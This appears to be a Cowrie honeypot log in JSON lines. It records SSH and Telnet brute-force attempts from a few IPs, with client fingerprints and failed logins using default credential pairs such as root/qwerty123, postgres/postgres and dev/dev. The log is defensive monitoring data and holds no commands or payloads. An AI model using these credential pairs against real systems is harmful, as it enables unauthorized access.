{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41348,"dst_ip":"159.203.135.109","dst_port":22,"session":"a346361bf061","protocol":"ssh","message":"New connection: 176.65.132.129:41348 (159.203.135.109:22) [session: a346361bf061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:09.574227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:09.578722Z","src_ip":"176.65.132.129","session":"a346361bf061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:09.660639Z","src_ip":"176.65.132.129","session":"a346361bf061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:09.913827Z","src_ip":"176.65.132.129","session":"a346361bf061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43048,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bba751529a","protocol":"telnet","message":"New connection: 45.58.127.90:43048 (10.17.0.5:23) [session: 26bba751529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:10.168169Z"}
{"eventid":"cowrie.session.closed","duration":39.45186924934387,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:10.512652Z","src_ip":"45.58.127.90","session":"70b3b6c8f7cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39182,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a352bcd8881","protocol":"ssh","message":"New connection: 172.237.20.62:39182 (159.203.135.109:22) [session: 0a352bcd8881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:10.839194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:10.844415Z","src_ip":"172.237.20.62","session":"0a352bcd8881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:11.004832Z","src_ip":"176.65.132.129","session":"a346361bf061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:11.009383Z","src_ip":"172.237.20.62","session":"0a352bcd8881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:11.530433Z","src_ip":"172.237.20.62","session":"0a352bcd8881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43052,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8205a7b7be","protocol":"telnet","message":"New connection: 45.58.127.90:43052 (10.17.0.5:23) [session: 3f8205a7b7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:12.031572Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:12.695581Z","src_ip":"172.237.20.62","session":"0a352bcd8881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41364,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dd9de0e6e7c","protocol":"ssh","message":"New connection: 176.65.132.129:41364 (159.203.135.109:22) [session: 6dd9de0e6e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:12.977357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:12.981818Z","src_ip":"176.65.132.129","session":"6dd9de0e6e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:13.063651Z","src_ip":"176.65.132.129","session":"6dd9de0e6e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:13.310014Z","src_ip":"176.65.132.129","session":"6dd9de0e6e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:14.395291Z","src_ip":"176.65.132.129","session":"6dd9de0e6e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43062,"dst_ip":"10.17.0.5","dst_port":23,"session":"643c3d62d675","protocol":"telnet","message":"New connection: 45.58.127.90:43062 (10.17.0.5:23) [session: 643c3d62d675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:15.115203Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49904,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c9874be98b","protocol":"ssh","message":"New connection: 176.65.132.129:49904 (159.203.135.109:22) [session: d0c9874be98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:16.481335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:16.486660Z","src_ip":"176.65.132.129","session":"d0c9874be98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:16.569704Z","src_ip":"176.65.132.129","session":"d0c9874be98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:16.821172Z","src_ip":"176.65.132.129","session":"d0c9874be98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:17.905990Z","src_ip":"176.65.132.129","session":"d0c9874be98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49916,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b363a46a19","protocol":"ssh","message":"New connection: 176.65.132.129:49916 (159.203.135.109:22) [session: 69b363a46a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:19.885368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:19.890093Z","src_ip":"176.65.132.129","session":"69b363a46a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:19.974755Z","src_ip":"176.65.132.129","session":"69b363a46a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:20.227691Z","src_ip":"176.65.132.129","session":"69b363a46a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:21.330441Z","src_ip":"176.65.132.129","session":"69b363a46a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60394,"dst_ip":"159.203.135.109","dst_port":22,"session":"754003941de3","protocol":"ssh","message":"New connection: 172.237.20.62:60394 (159.203.135.109:22) [session: 754003941de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:21.784303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:21.789159Z","src_ip":"172.237.20.62","session":"754003941de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:21.952088Z","src_ip":"172.237.20.62","session":"754003941de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:22.442812Z","src_ip":"172.237.20.62","session":"754003941de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c862b178279","protocol":"ssh","message":"New connection: 176.65.132.129:49930 (159.203.135.109:22) [session: 2c862b178279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:23.266019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:23.410411Z","src_ip":"176.65.132.129","session":"2c862b178279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:23.414339Z","src_ip":"176.65.132.129","session":"2c862b178279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:23.607993Z","src_ip":"172.237.20.62","session":"754003941de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:23.765019Z","src_ip":"176.65.132.129","session":"2c862b178279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:24.852459Z","src_ip":"176.65.132.129","session":"2c862b178279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47790,"dst_ip":"159.203.135.109","dst_port":22,"session":"382263720939","protocol":"ssh","message":"New connection: 176.65.132.129:47790 (159.203.135.109:22) [session: 382263720939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:26.829493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:26.834039Z","src_ip":"176.65.132.129","session":"382263720939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:26.919135Z","src_ip":"176.65.132.129","session":"382263720939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:27.166614Z","src_ip":"176.65.132.129","session":"382263720939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:28.364953Z","src_ip":"176.65.132.129","session":"382263720939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8eabf838c01","protocol":"telnet","message":"New connection: 45.58.127.90:55892 (10.17.0.5:23) [session: a8eabf838c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:28.571074Z"}
